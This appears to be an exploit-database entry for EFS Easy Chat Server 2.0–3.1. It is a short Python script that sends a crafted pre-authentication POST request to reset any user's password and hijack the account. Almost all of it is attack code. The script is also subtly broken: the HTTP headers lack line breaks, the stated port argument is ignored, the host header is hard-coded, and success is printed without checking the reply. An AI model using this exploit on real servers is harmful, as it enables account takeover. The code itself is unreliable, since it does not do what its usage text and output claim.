EFS Easy Chat Server 3.1 - Password Reset

# Exploit Title: Easy Chat Server Remote Password Reset
# Date: 09/10/2017
# Software Link: http://echatserver.com/ecssetup.exe
# Exploit Author: Aitezaz Mohsin
# Vulnerable Version: v2.0 to v3.1
# Vulnerability Type: Pre-Auth Remote Password Reset
# Severity: Critical

# ====================================================================================================
#	Registeration page 'register.ghp' allows resetting ANY user's password.
# Remote un-authenticated attackers can send HTTP POST requests to Hijack ANY Easy Chat Server account.
# ====================================================================================================

# USAGE: python exploit.py ip port username password

#!/usr/bin/python

import os,sys,socket

ip = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3] 

socket = socket.socket(socket.AF_INET , socket.SOCK_STREAM)

socket.connect((ip , 80))


buffer = "POST /registresult.htm HTTP/1.1"
buffer += "Host: 192.168.1.11"
buffer += "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0"
buffer += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
buffer += "Accept-Language: en-US,en;q=0.5"
buffer += "Accept-Encoding: gzip, deflate"
buffer += "Connection: close"
buffer += "Content-Type: application/x-www-form-urlencoded"
 
buffer += "UserName=" + username + "&Password=" + password  + "&Password1=ggg&Sex=0&Email=%25252540&Icon=image17.gif&Resume=aaa&cw=0&RoomID=%3C%21--%24RoomID--%3E&RepUserName=%3C%21--%24UserName--%3E&submit1=Change"
 
socket.send(buffer)

socket.close()

print "[#] Password Changed Successfully"